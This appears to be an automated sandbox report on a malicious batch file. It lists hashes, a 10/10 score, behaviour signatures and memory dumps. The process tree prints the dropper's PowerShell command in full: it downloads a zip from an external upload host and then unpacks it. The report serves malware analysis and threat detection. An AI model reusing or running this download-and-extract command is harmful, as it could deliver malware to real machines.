3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
120s
max time network
125s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 23:24

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General

Target

tesy - Copy (13).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2148	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2148	powershell.exe
2764	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2148	powershell.exe
Token: SeDebugPrivilege	2764	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2452 wrote to memory of 2148	2452	cmd.exe	29
PID 2452 wrote to memory of 2148	2452	cmd.exe	29
PID 2452 wrote to memory of 2148	2452	cmd.exe	29
PID 2452 wrote to memory of 2764	2452	cmd.exe	30
PID 2452 wrote to memory of 2764	2452	cmd.exe	30
PID 2452 wrote to memory of 2764	2452	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2764

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
2507f2cc94143beaa8f0ba193142f744

SHA1
71129f31edd479869cb9f9cc4b0cc9f43db647ac

SHA256
769a0937f1efb2685c3179b5d04acff31ba2363740596d3ca1f59cf9e2a426a1

SHA512
0c222a0b513f0da043584b1c74f7237c924c1fa9d15f03def337044947953dd52e789c15c051619922beeb813db6299d462fb1ebdea56fe99ffdae08e141375d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NVP7XY69CJEDID3SJC4R.temp

Filesize
7KB

MD5
2507f2cc94143beaa8f0ba193142f744

SHA1
71129f31edd479869cb9f9cc4b0cc9f43db647ac

SHA256
769a0937f1efb2685c3179b5d04acff31ba2363740596d3ca1f59cf9e2a426a1

SHA512
0c222a0b513f0da043584b1c74f7237c924c1fa9d15f03def337044947953dd52e789c15c051619922beeb813db6299d462fb1ebdea56fe99ffdae08e141375d

Download Submit
memory/2148-8-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

Filesize
9.6MB

Download
memory/2148-6-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

Filesize
9.6MB

Download
memory/2148-4-0x000000001B370000-0x000000001B652000-memory.dmp

Filesize
2.9MB

Download
memory/2148-9-0x00000000023C0000-0x0000000002440000-memory.dmp

Filesize
512KB

Download
memory/2148-10-0x00000000023C0000-0x0000000002440000-memory.dmp

Filesize
512KB

Download
memory/2148-12-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

Filesize
9.6MB

Download
memory/2148-7-0x00000000023C0000-0x0000000002440000-memory.dmp

Filesize
512KB

Download
memory/2148-5-0x00000000024E0000-0x00000000024E8000-memory.dmp

Filesize
32KB

Download
memory/2764-20-0x0000000001E40000-0x0000000001E48000-memory.dmp

Filesize
32KB

Download
memory/2764-18-0x000000001B390000-0x000000001B672000-memory.dmp

Filesize
2.9MB

Download
memory/2764-19-0x000007FEF4AB0000-0x000007FEF544D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-21-0x000007FEF4AB0000-0x000007FEF544D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-23-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2764-22-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2764-24-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2764-25-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2764-26-0x000007FEF4AB0000-0x000007FEF544D000-memory.dmp

Filesize
9.6MB

Download